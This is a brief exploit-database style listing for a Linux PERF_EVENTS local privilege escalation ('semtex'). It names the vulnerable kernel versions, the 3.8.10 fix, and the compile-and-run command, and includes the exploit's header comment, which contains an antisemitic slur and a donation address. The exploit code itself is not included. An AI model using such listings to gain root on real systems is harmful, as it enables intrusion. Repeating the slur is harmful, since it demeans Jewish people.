Linux PERF_EVENTS Local Root Exploit

 Linux PERF_EVENTS Local Root Linux local root exploit that requires that PERF_EVENTS be compiled into the kernel. This has been fixed in 3.8.10. This bug apparently got backported from 2.6.37 into CentOS5 2.6.32 kernels.

Code:
/** linux 2.6.37-3.x.x x86_64, ~100 LOC* gcc-4.6 -O2 semtex.c && ./a.out* 2010 sd@fucksheep.org, salut!** update may 2013:* seems like centos 2.6.32 backported the perf bug, lol.* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.*/
